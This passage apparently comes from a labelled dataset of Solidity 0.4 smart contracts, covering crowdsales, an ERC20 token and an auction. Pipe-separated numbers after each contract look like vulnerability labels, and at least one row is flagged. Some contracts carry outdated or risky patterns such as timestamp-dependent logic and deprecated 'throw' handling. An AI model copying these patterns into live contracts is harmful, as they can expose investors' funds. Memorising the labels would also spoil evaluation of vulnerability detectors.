} else {
maxContrib = maxCap - ethRaised;
}
return maxContrib;
}
function processTransaction(address _contributor, uint _amount) internal {
uint maxContribution = calculateMaxContribution(_contributor);
uint contributionAmount = _amount;
uint returnAmount = 0;
if (maxContribution < _amount) {
contributionAmount = maxContribution;
returnAmount = _amount - maxContribution;
}
if (ethRaised + contributionAmount >= minCap && minCap > ethRaised) {
MinCapReached(block.timestamp);
}
if (contributorList[_contributor].contributionAmount == 0) {
contributorList[_contributor].contributionAmount = contributionAmount;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
} else {
contributorList[_contributor].contributionAmount += contributionAmount;
}
ethRaised += contributionAmount;
ContributionMade(msg.sender, contributionAmount);
if (returnAmount != 0) {
_contributor.transfer(returnAmount);
}
}
function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public {
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
function withdrawEth() onlyOwner public {
require(this.balance != 0);
require(ethRaised >= minCap);
pendingEthWithdrawal = this.balance;
}
uint public pendingEthWithdrawal;
function pullBalance() public {
require(msg.sender == multisigAddress);
require(pendingEthWithdrawal > 0);
multisigAddress.transfer(pendingEthWithdrawal);
pendingEthWithdrawal = 0;
}
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner public {
require(block.timestamp > crowdsaleEndedTime && ethRaised < minCap);
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = contributorIndexes[nextContributorToClaim];
if (currentParticipantAddress == 0x0) {
return;
}
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {
contribution = contributorList[currentParticipantAddress].contributionAmount;
hasClaimedEthWhenFail[currentParticipantAddress] = true;
if (!currentParticipantAddress.send(contribution)) {
ErrorSendingETH(currentParticipantAddress, contribution);
}
}
nextContributorToClaim += 1;
}
}
function withdrawRemainingBalanceForManualRecovery() onlyOwner public {
require(this.balance != 0);
require(block.timestamp > crowdsaleEndedTime);
require(contributorIndexes[nextContributorToClaim] == 0x0);
multisigAddress.transfer(this.balance);
}
function setMultisigAddress(address _newAddress) onlyOwner public {
multisigAddress = _newAddress;
}
function setPriorityPassContract(address _newAddress) onlyOwner public {
priorityPassContract = PriorityPassInterface(_newAddress);
}
function priorityPassContractAddress() constant public returns (address) {
return address(priorityPassContract);
}
function setCrowdsaleTimes(uint _presaleStartTime, uint _presaleUnlimitedStartTime, uint _crowdsaleEndedTime) onlyOwner public {
require(crowdsaleState == state.pendingStart);
require(_presaleStartTime != 0);
require(_presaleStartTime < _presaleUnlimitedStartTime);
require(_presaleUnlimitedStartTime != 0);
require(_presaleUnlimitedStartTime < _crowdsaleEndedTime);
require(_crowdsaleEndedTime != 0);
presaleStartTime = _presaleStartTime;
presaleUnlimitedStartTime = _presaleUnlimitedStartTime;
crowdsaleEndedTime = _crowdsaleEndedTime;
}
}
contract ENTXSeedCrowdsale is SeedCrowdsaleContract {
function ENTXSeedCrowdsale() {
presaleStartTime = 1512032400;
presaleUnlimitedStartTime = 1512063000;
crowdsaleEndedTime = 1512140400;
minCap = 238 ether;
maxP1Cap = 641 ether;
maxCap = 713 ether;
}
} | 0 | 392 |
pragma solidity ^0.4.11;
contract BigFish {
uint private auctionEndTime = now;
address private highestBidder;
uint private highestBid = 0;
address private previousHighestBidder;
uint previousPoolValue = 0;
bool noActiveGame = true;
mapping(address => uint) users;
address owner;
uint constant ownerPercentage = 20;
uint constant winnerPercentage = 100 - ownerPercentage;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
constructor()
public
{
owner = msg.sender;
}
function auctionStart(uint _hours)
public
payable
onlyOwner
{
require(hasEnded());
require(noActiveGame);
auctionEndTime = now + (_hours * 1 hours);
noActiveGame = false;
}
function auctionEnd()
public
onlyOwner
{
require(hasEnded());
require(!noActiveGame);
previousPoolValue = getPoolValue();
if (highestBid == 0) {
owner.transfer(getPoolValue());
} else {
previousHighestBidder = highestBidder;
highestBid = 0;
highestBidder.transfer(getPoolValue() * winnerPercentage / 100);
owner.transfer(getPoolValue());
}
noActiveGame = true;
}
function bid()
public
payable
{
require(msg.value > highestBid);
require(!hasEnded());
highestBidder = msg.sender;
highestBid = msg.value;
}
function hasEnded()
public
view
returns (bool)
{
return now >= auctionEndTime;
}
function getOwner()
public
view
returns (address)
{
return owner;
}
function getHighestBid()
public
view
returns (uint)
{
return highestBid;
}
function getBidder()
public
view
returns (address)
{
return highestBidder;
}
function getPoolValue()
public
view
returns (uint)
{
return address(this).balance;
}
function getPreviousBidder()
public
view
returns (address)
{
return previousHighestBidder;
}
function getPreviousPoolValue()
public
view
returns (uint)
{
return previousPoolValue;
}
} | 0 | 1,143 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role) public view {
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role) public view returns (bool) {
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role) internal {
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role) internal {
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role) {
checkRole(msg.sender, _role);
_;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addMassAddressToWhitelist(address[] _operator) public onlyOwner {
for (uint i = 0; i < _operator.length; i++) {
address addr = _operator[i];
addRole(addr, ROLE_WHITELISTED);
}
}
function addAddressToWhitelist(address _operator) public onlyOwner {
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator) public view returns (bool) {
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators) public onlyOwner {
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator) public onlyOwner {
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators) public onlyOwner {
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract AvailComToken is BurnableToken, Ownable {
string public constant name = "AvailCom Token";
string public constant symbol = "AVL";
uint32 public constant decimals = 4;
constructor () public {
totalSupply_ = 22000000000000;
balances[msg.sender] = totalSupply_;
}
}
contract Crowdsale is Ownable, Whitelist {
using SafeMath for uint256;
AvailComToken public token;
bool public fifishICO = false;
address public wallet;
uint256 public rate;
uint public start = 1542301199;
uint public period = 30;
uint public hardcap = 2600 * 1 ether;
uint public bonusPersent = 30;
uint256 public weiRaised;
uint256 public etherLimit = 0 ether;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier saleICOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(wallet.balance <= hardcap);
_;
}
constructor (AvailComToken _token) public {
require(_token != address(0));
rate = 167000000;
wallet = msg.sender;
token = _token;
}
function () saleICOn isUnderHardCap external payable {
require(!fifishICO);
if (!whitelist(msg.sender)) {
require(msg.value >= etherLimit);
}
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
_tokenAmount = _tokenAmount + (_tokenAmount * bonusPersent / 100);
_tokenAmount = _tokenAmount / 1000000000000000000;
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function finishCrowdsale() public onlyOwner {
uint _value = token.balanceOf(this);
token.transfer(wallet, _value);
fifishICO = true;
}
function editEtherLimit (uint256 _value) public onlyOwner {
etherLimit = _value;
etherLimit = etherLimit * 1 ether;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _account) internal {
_role.bearer[_account] = true;
}
function remove(Role storage _role, address _account) internal {
_role.bearer[_account] = false;
}
function check(Role storage _role, address _account) internal view {
require(has(_role, _account));
}
function has(Role storage _role, address _account) internal view returns (bool) {
return _role.bearer[_account];
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
} | 1 | 4,165 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentageUnit:inPercentageUnit, inPercentageDecimals: inPercentageDecimals});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentageUnit(address addr) constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedTokensListValInPercentageDecimals(address addr) constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
